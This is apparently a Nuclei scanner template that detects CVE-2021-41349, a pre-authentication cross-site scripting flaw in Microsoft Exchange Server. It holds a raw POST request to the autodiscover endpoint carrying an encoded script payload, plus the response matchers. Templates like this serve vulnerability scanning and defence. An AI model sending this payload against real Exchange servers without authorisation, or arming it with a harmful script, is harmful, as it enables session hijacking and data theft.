61 lines
2.2 KiB
YAML
61 lines
2.2 KiB
YAML
id: CVE-2021-41349
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info:
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name: Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting
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author: rootxharsh,iamnoooob
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severity: medium
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description: Microsoft Exchange Server is vulnerable to a spoofing vulnerability. Be aware this CVE ID is unique from CVE-2021-42305.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
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remediation: |
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Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
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reference:
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- https://www.microsoft.com/en-us/download/details.aspx?id=103643
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- https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-41349
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- https://nvd.nist.gov/vuln/detail/CVE-2021-41349
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- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41349
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- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41349
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
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cvss-score: 6.5
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cve-id: CVE-2021-41349
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epss-score: 0.84327
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epss-percentile: 0.9821
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cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: microsoft
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product: exchange_server
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tags: cve,cve2021,xss,microsoft,exchange
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http:
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- raw:
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- |
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POST /autodiscover/autodiscover.json HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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%3Cscript%3Ealert%28document.domain%29%3B+a=%22%3C%2Fscript%3E&x=1
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matchers-condition: and
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matchers:
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- type: word
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words:
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- 'alert(document.domain);'
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- 'a=""'
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condition: and
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- type: word
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part: header
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words:
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- 'text/html'
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- type: word
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negative: true
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words:
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- "A potentially dangerous Request.Form value was detected from the client"
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- type: status
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status:
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- 500
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# digest: 4a0a00473045022100f3ab4f49aed9e4472944cb6e9416bb4b0477b70153488abf4c7328a8402b97fe022035355878b640678efb8a65b2491c5148dc4cf54856d39fb3851cc0a37c7f5194:922c64590222798bb761d5b6d8e72950 |